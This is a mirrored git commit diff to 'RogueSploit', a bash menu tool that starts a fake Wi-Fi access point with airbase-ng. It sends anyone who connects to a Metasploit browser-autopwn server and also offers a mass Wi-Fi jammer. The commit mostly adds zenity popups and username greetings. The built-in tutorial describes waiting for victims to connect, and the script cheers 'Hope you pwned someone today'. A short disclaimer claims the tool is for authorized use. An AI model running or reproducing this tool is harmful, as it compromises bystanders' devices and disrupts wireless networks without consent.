mirror of
https://github.com/aljazceru/RogueSploit.git
synced 2025-12-17 06:14:21 +01:00
Added Zenity's popups and some updates
This commit is contained in:
63
RogueSploit
63
RogueSploit
@@ -99,10 +99,15 @@ autopwning2 () {
|
|||||||
msfconsole -r $(pwd)/roguepwn2.rc
|
msfconsole -r $(pwd)/roguepwn2.rc
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#Welcome Screen
|
||||||
|
welcome () {
|
||||||
|
myname=$(zenity --entry --title="[*] ROGUESPLOIT [*]" --text=" Input your name or nick :D ");
|
||||||
|
zenity --info --title="[*] WELCOME TO ROGUESPLOIT $myname [*]" --text="I am not anyway responsable for the usage of this tool. This tool is intended for legal, study, pentesting, authorized purposes! This tool is shared freely on GitHub, and you can modify it, take it, use it as you want, but remember to mention the author in it." --width=400 --height=40
|
||||||
|
}
|
||||||
#menu1
|
#menu1
|
||||||
menu () {
|
menu () {
|
||||||
clear
|
clear
|
||||||
echo -e $yellow"--<"$blue"[*]"$yellow" Roguesploit -- by _B4ckp0r7 "$blue"[*]"$yellow">--"
|
echo -e $yellow"--<"$blue"[*]"$yellow" Welcome $myname, this is Roguesploit -- by _B4ckp0r7 "$blue"[*]"$yellow">--"
|
||||||
echo -e $lightgreen"--<[?] What do you want to do? [?]>-- ";
|
echo -e $lightgreen"--<[?] What do you want to do? [?]>-- ";
|
||||||
echo -e $lightgreen" 1. Start RogueAP"
|
echo -e $lightgreen" 1. Start RogueAP"
|
||||||
echo -e $lightgreen" 2. Start Pwning Services"
|
echo -e $lightgreen" 2. Start Pwning Services"
|
||||||
@@ -110,8 +115,8 @@ echo -e $lightgreen" 3. Start WiFi Massive Jammer"
|
|||||||
echo -e $lightgreen" 4. Credits"
|
echo -e $lightgreen" 4. Credits"
|
||||||
echo -e $lightgreen" 5. Exit"
|
echo -e $lightgreen" 5. Exit"
|
||||||
echo -e $lightgreen" 6. TUTORIAL"
|
echo -e $lightgreen" 6. TUTORIAL"
|
||||||
echo -e $green" 7. Update wit Git"
|
echo -e $yellow" 7. Update wit Git"
|
||||||
echo -ne $yellow"root@roguesploit:"; read answer1
|
echo -ne $yellow"$myname@roguesploit:"; read answer1
|
||||||
|
|
||||||
if test $answer1 == '1'
|
if test $answer1 == '1'
|
||||||
then
|
then
|
||||||
@@ -119,10 +124,10 @@ if test $answer1 == '1'
|
|||||||
pkill airbase-ng
|
pkill airbase-ng
|
||||||
pkill airmon-ng
|
pkill airmon-ng
|
||||||
pkill dhcpd
|
pkill dhcpd
|
||||||
echo -ne $green"Choose a name for your AP:" ;tput sgr0
|
nameap=$(zenity --entry --title="Fake AP" --text="Input the name you want to use for the Access Point");tput sgr0
|
||||||
read nameap
|
zenity --info --title="[*] ROGUESPLOIT [*]" --text="Starting the Fake Access Point";
|
||||||
sleep 1
|
sleep 1
|
||||||
echo -e $red"[!] YOU NEED WLAN1 INTERFACE FOR THESE [!]"
|
echo -e $red"[!] $myname YOU NEED WLAN1 INTERFACE FOR THESE [!]"
|
||||||
sleep 1
|
sleep 1
|
||||||
echo -e $yellow"Starting RogueAP on wlan1 with name $nameap"
|
echo -e $yellow"Starting RogueAP on wlan1 with name $nameap"
|
||||||
sleep 2
|
sleep 2
|
||||||
@@ -131,10 +136,10 @@ if test $answer1 == '1'
|
|||||||
elif test $answer1 == '2'
|
elif test $answer1 == '2'
|
||||||
then
|
then
|
||||||
clear
|
clear
|
||||||
echo -e $green"Which AutoPwn do you want? "
|
echo -e $green"Which AutoPwn do you want to start $myname? "
|
||||||
echo -e $yellow" 1. Browser Autopwn 1 "
|
echo -e $yellow" 1. Browser Autopwn 1 "
|
||||||
echo -e $blue" 2. Browser Autopwn 2 "
|
echo -e $blue" 2. Browser Autopwn 2 "
|
||||||
echo -ne $red"root@pwningservices: ";tput sgr0
|
echo -ne $red"$myname@pwningservices: ";tput sgr0
|
||||||
read autopwnans
|
read autopwnans
|
||||||
if test $autopwnans == '1'
|
if test $autopwnans == '1'
|
||||||
then
|
then
|
||||||
@@ -158,7 +163,7 @@ elif test $answer1 == '2'
|
|||||||
pkill airbase-ng
|
pkill airbase-ng
|
||||||
ifconfig at0 down
|
ifconfig at0 down
|
||||||
sleep 1
|
sleep 1
|
||||||
echo -e $yellow"--<[*] Hope you pwned someone today! [*]>--"
|
echo -e $yellow"--<[*] Hope you pwned someone today $myname! [*]>--"
|
||||||
echo -e $yellow"--<[*] Thank You For Using RogueSploit B) [*]>--"
|
echo -e $yellow"--<[*] Thank You For Using RogueSploit B) [*]>--"
|
||||||
sleep 2
|
sleep 2
|
||||||
clear
|
clear
|
||||||
@@ -170,18 +175,21 @@ elif test $answer1 == '2'
|
|||||||
fi
|
fi
|
||||||
elif test $answer1 == '3'
|
elif test $answer1 == '3'
|
||||||
then
|
then
|
||||||
|
echo -e $cyan"Starting massive jamming as you ordered!"
|
||||||
python wifijammer.py
|
python wifijammer.py
|
||||||
menu
|
menu
|
||||||
elif test $answer1 == '4'
|
elif test $answer1 == '4'
|
||||||
then
|
then
|
||||||
echo -e "Made by B4ckP0r7 with love, Italian Engeering"
|
echo -e "Made by B4ckP0r7 with love, Italian Engeering"
|
||||||
echo -e $blue" Big thanks to:"
|
echo -e $blue" Big thanks to:"
|
||||||
|
echo -e $lightgreen"--<[ $myname, a fantastic user! ]>--"
|
||||||
echo -e $red"--<[ My friends ]>--"
|
echo -e $red"--<[ My friends ]>--"
|
||||||
echo -e $green"--<[ GNU / Linux ]>--"
|
echo -e $green"--<[ GNU / Linux ]>--"
|
||||||
echo -e $yellow"--<[ Hackers Elite Group ]>--"
|
echo -e $yellow"--<[ Hackers Elite Group ]>--"
|
||||||
echo -e $white"--<[ And averyone who ever supported me ]>--"
|
echo -e $white"--<[ And averyone who ever supported me ]>--"
|
||||||
echo -e $blue" Press any key to continue... "
|
echo -e $blue" Press any key to continue... "
|
||||||
read continuee
|
read continuee
|
||||||
|
menu
|
||||||
elif test $answer1 == '5'
|
elif test $answer1 == '5'
|
||||||
then
|
then
|
||||||
clear
|
clear
|
||||||
@@ -190,7 +198,7 @@ elif test $answer1 == '5'
|
|||||||
pkill airmon-ng
|
pkill airmon-ng
|
||||||
pkill airbase-ng
|
pkill airbase-ng
|
||||||
ifconfig at0 down
|
ifconfig at0 down
|
||||||
echo -e $red"Goodbye.."
|
echo -e $red"Goodbye $myname.."
|
||||||
sleep 2
|
sleep 2
|
||||||
clear
|
clear
|
||||||
exit
|
exit
|
||||||
@@ -201,7 +209,7 @@ elif test $answer1 == '6'
|
|||||||
echo -e $yellow" 2) START THE SCRIPT AND SELECT ROGUE AP (Option 1) ON FIRST TERMINAL;"
|
echo -e $yellow" 2) START THE SCRIPT AND SELECT ROGUE AP (Option 1) ON FIRST TERMINAL;"
|
||||||
echo -e $yellow" 3) IN THE SECOND TERMINAL SELECT PWNING SERVICES (Option 2)"
|
echo -e $yellow" 3) IN THE SECOND TERMINAL SELECT PWNING SERVICES (Option 2)"
|
||||||
echo -e $yellow" 4) THEN JUST WAIT FOR SOMEONE CONNECTING TO YOURE AP AND THEY WILL BE REDIRECTED TO YOUR LOCAL BROWSER_AUTOWPN SERVER!"
|
echo -e $yellow" 4) THEN JUST WAIT FOR SOMEONE CONNECTING TO YOURE AP AND THEY WILL BE REDIRECTED TO YOUR LOCAL BROWSER_AUTOWPN SERVER!"
|
||||||
echo -e $yellow" 5) ENJOY!"
|
echo -e $yellow" 5) Did you understand $myname ?If any problems, or strange things appens, just go here --> https://github.com/B4ckP0r7/RogueSploit/issues and open a new issue!"
|
||||||
echo -ne $yellow"Press any key to continue..."
|
echo -ne $yellow"Press any key to continue..."
|
||||||
read continuos
|
read continuos
|
||||||
menu
|
menu
|
||||||
@@ -216,6 +224,7 @@ elif test $answer1 == '7'
|
|||||||
git clone http://github.com/b4ckp0r7/RogueSploit.git
|
git clone http://github.com/b4ckp0r7/RogueSploit.git
|
||||||
sudo chmod 777 RogueSploit/* -R
|
sudo chmod 777 RogueSploit/* -R
|
||||||
echo -e $yellow"Update.."; sleep 2; echo -e $lightgreen"* DONE *"
|
echo -e $yellow"Update.."; sleep 2; echo -e $lightgreen"* DONE *"
|
||||||
|
echo -e $okegreen"Now $myname just exit RogueSploit directory and comeback and run again RogueSploit!!"
|
||||||
exit
|
exit
|
||||||
elif [ $cancel != 'y' ] && [ $cancel != 'Y' ]
|
elif [ $cancel != 'y' ] && [ $cancel != 'Y' ]
|
||||||
then
|
then
|
||||||
@@ -247,8 +256,9 @@ else
|
|||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
#menu2
|
#menu2
|
||||||
|
welcome
|
||||||
clear
|
clear
|
||||||
echo -e $yellow"--<"$blue"[*]"$yellow" Roguesploit -- by _B4ckp0r7 "$blue"[*]"$yellow">--"
|
echo -e $yellow"--<"$blue"[*]"$yellow" Welcome $myname, this is Roguesploit -- by _B4ckp0r7 "$blue"[*]"$yellow">--"
|
||||||
echo -e $lightgreen"--<[?] What do you want to do? [?]>-- ";
|
echo -e $lightgreen"--<[?] What do you want to do? [?]>-- ";
|
||||||
echo -e $lightgreen" 1. Start RogueAP"
|
echo -e $lightgreen" 1. Start RogueAP"
|
||||||
echo -e $lightgreen" 2. Start Pwning Services"
|
echo -e $lightgreen" 2. Start Pwning Services"
|
||||||
@@ -256,20 +266,20 @@ echo -e $lightgreen" 3. Start WiFi Massive Jammer"
|
|||||||
echo -e $lightgreen" 4. Credits"
|
echo -e $lightgreen" 4. Credits"
|
||||||
echo -e $lightgreen" 5. Exit"
|
echo -e $lightgreen" 5. Exit"
|
||||||
echo -e $lightgreen" 6. TUTORIAL"
|
echo -e $lightgreen" 6. TUTORIAL"
|
||||||
echo -e $green" 7. Update wit Git"
|
echo -e $yellow" 7. Update wit Git"
|
||||||
echo -ne $yellow"root@roguesploit: "; read answer1
|
echo -ne $yellow"$myname@roguesploit:"; read answer1
|
||||||
|
|
||||||
if test $answer1 == '1'
|
if test $answer1 == '1'
|
||||||
then
|
then
|
||||||
|
echo -e $yellow"Starting RogueAP"
|
||||||
pkill airbase-ng
|
pkill airbase-ng
|
||||||
pkill airmon-ng
|
pkill airmon-ng
|
||||||
pkill dhcpd
|
pkill dhcpd
|
||||||
echo -e $yellow"Starting RogueAP"
|
nameap=$(zenity --entry --title="Fake AP" --text="Input the name you want to use for the Access Point");tput sgr0
|
||||||
echo -ne $green"Choose a name for your AP:" ;tput sgr0
|
zenity --info --title="[*] ROGUESPLOIT [*]" --text="Starting the Fake Access Point";
|
||||||
read nameap
|
sleep 1
|
||||||
|
echo -e $red"[!] $myname YOU NEED WLAN1 INTERFACE FOR THESE [!]"
|
||||||
sleep 1
|
sleep 1
|
||||||
echo -e $red"[!] YOU NEED WLAN1 INTERFACE FOR THESE [!]"
|
|
||||||
sleep 3
|
|
||||||
echo -e $yellow"Starting RogueAP on wlan1 with name $nameap"
|
echo -e $yellow"Starting RogueAP on wlan1 with name $nameap"
|
||||||
sleep 2
|
sleep 2
|
||||||
sudo airbase-ng -e "$nameap" -v wlan1
|
sudo airbase-ng -e "$nameap" -v wlan1
|
||||||
@@ -277,10 +287,10 @@ if test $answer1 == '1'
|
|||||||
elif test $answer1 == '2'
|
elif test $answer1 == '2'
|
||||||
then
|
then
|
||||||
clear
|
clear
|
||||||
echo -e $green"Which AutoPwn do you want? "
|
echo -e $green"Which AutoPwn do you want to start $myname? "
|
||||||
echo -e $yellow" 1. Browser Autopwn 1 "
|
echo -e $yellow" 1. Browser Autopwn 1 "
|
||||||
echo -e $blue" 2. Browser Autopwn 2 "
|
echo -e $blue" 2. Browser Autopwn 2 "
|
||||||
echo -ne $red"root@pwningservices: ";tput sgr0
|
echo -ne $red"$myname@pwningservices: ";tput sgr0
|
||||||
read autopwnans
|
read autopwnans
|
||||||
if test $autopwnans == '1'
|
if test $autopwnans == '1'
|
||||||
then
|
then
|
||||||
@@ -304,7 +314,7 @@ elif test $answer1 == '2'
|
|||||||
pkill airbase-ng
|
pkill airbase-ng
|
||||||
ifconfig at0 down
|
ifconfig at0 down
|
||||||
sleep 1
|
sleep 1
|
||||||
echo -e $yellow"--<[*] Hope you pwned someone today! [*]>--"
|
echo -e $yellow"--<[*] Hope you pwned someone today $myname! [*]>--"
|
||||||
echo -e $yellow"--<[*] Thank You For Using RogueSploit B) [*]>--"
|
echo -e $yellow"--<[*] Thank You For Using RogueSploit B) [*]>--"
|
||||||
sleep 2
|
sleep 2
|
||||||
clear
|
clear
|
||||||
@@ -316,12 +326,14 @@ elif test $answer1 == '2'
|
|||||||
fi
|
fi
|
||||||
elif test $answer1 == '3'
|
elif test $answer1 == '3'
|
||||||
then
|
then
|
||||||
|
echo -e $cyan"Starting massive jamming as you ordered!"
|
||||||
python wifijammer.py
|
python wifijammer.py
|
||||||
menu
|
menu
|
||||||
elif test $answer1 == '4'
|
elif test $answer1 == '4'
|
||||||
then
|
then
|
||||||
echo -e "Made by B4ckP0r7 with love, Italian Engeering"
|
echo -e "Made by B4ckP0r7 with love, Italian Engeering"
|
||||||
echo -e $blue" Big thanks to:"
|
echo -e $blue" Big thanks to:"
|
||||||
|
echo -e $lightgreen"--<[ $myname, a fantastic user! ]>--"
|
||||||
echo -e $red"--<[ My friends ]>--"
|
echo -e $red"--<[ My friends ]>--"
|
||||||
echo -e $green"--<[ GNU / Linux ]>--"
|
echo -e $green"--<[ GNU / Linux ]>--"
|
||||||
echo -e $yellow"--<[ Hackers Elite Group ]>--"
|
echo -e $yellow"--<[ Hackers Elite Group ]>--"
|
||||||
@@ -337,7 +349,7 @@ elif test $answer1 == '5'
|
|||||||
pkill airmon-ng
|
pkill airmon-ng
|
||||||
pkill airbase-ng
|
pkill airbase-ng
|
||||||
ifconfig at0 down
|
ifconfig at0 down
|
||||||
echo -e $red"Goodbye.."
|
echo -e $red"Goodbye $myname.."
|
||||||
sleep 2
|
sleep 2
|
||||||
clear
|
clear
|
||||||
exit
|
exit
|
||||||
@@ -348,7 +360,7 @@ elif test $answer1 == '6'
|
|||||||
echo -e $yellow" 2) START THE SCRIPT AND SELECT ROGUE AP (Option 1) ON FIRST TERMINAL;"
|
echo -e $yellow" 2) START THE SCRIPT AND SELECT ROGUE AP (Option 1) ON FIRST TERMINAL;"
|
||||||
echo -e $yellow" 3) IN THE SECOND TERMINAL SELECT PWNING SERVICES (Option 2)"
|
echo -e $yellow" 3) IN THE SECOND TERMINAL SELECT PWNING SERVICES (Option 2)"
|
||||||
echo -e $yellow" 4) THEN JUST WAIT FOR SOMEONE CONNECTING TO YOURE AP AND THEY WILL BE REDIRECTED TO YOUR LOCAL BROWSER_AUTOWPN SERVER!"
|
echo -e $yellow" 4) THEN JUST WAIT FOR SOMEONE CONNECTING TO YOURE AP AND THEY WILL BE REDIRECTED TO YOUR LOCAL BROWSER_AUTOWPN SERVER!"
|
||||||
echo -e $yellow" 5) ENJOY!"
|
echo -e $yellow" 5) Did you understand $myname ?If any problems, or strange things appens, just go here --> https://github.com/B4ckP0r7/RogueSploit/issues and open a new issue!"
|
||||||
echo -ne $yellow"Press any key to continue..."
|
echo -ne $yellow"Press any key to continue..."
|
||||||
read continuos
|
read continuos
|
||||||
menu
|
menu
|
||||||
@@ -363,6 +375,7 @@ elif test $answer1 == '7'
|
|||||||
git clone http://github.com/b4ckp0r7/RogueSploit.git
|
git clone http://github.com/b4ckp0r7/RogueSploit.git
|
||||||
sudo chmod 777 RogueSploit/* -R
|
sudo chmod 777 RogueSploit/* -R
|
||||||
echo -e $yellow"Update.."; sleep 2; echo -e $lightgreen"* DONE *"
|
echo -e $yellow"Update.."; sleep 2; echo -e $lightgreen"* DONE *"
|
||||||
|
echo -e $okegreen"Now $myname just exit RogueSploit directory and comeback and run again RogueSploit!!"
|
||||||
exit
|
exit
|
||||||
elif [ $cancel != 'y' ] && [ $cancel != 'Y' ]
|
elif [ $cancel != 'y' ] && [ $cancel != 'Y' ]
|
||||||
then
|
then
|
||||||
@@ -383,7 +396,7 @@ else
|
|||||||
ifconfig at0 down
|
ifconfig at0 down
|
||||||
sleep 1
|
sleep 1
|
||||||
echo -e $yellow"--<[*] Hope you pwned someone today! [*]>--"
|
echo -e $yellow"--<[*] Hope you pwned someone today! [*]>--"
|
||||||
echo -e $yellow"--<[*] Thank You For Using Roguesploit B) [*]>--"
|
echo -e $yellow"--<[*] Thank You For Using Karmasploit B) [*]>--"
|
||||||
sleep 2
|
sleep 2
|
||||||
clear
|
clear
|
||||||
exit
|
exit
|
||||||
|
|||||||
Reference in New Issue
Block a user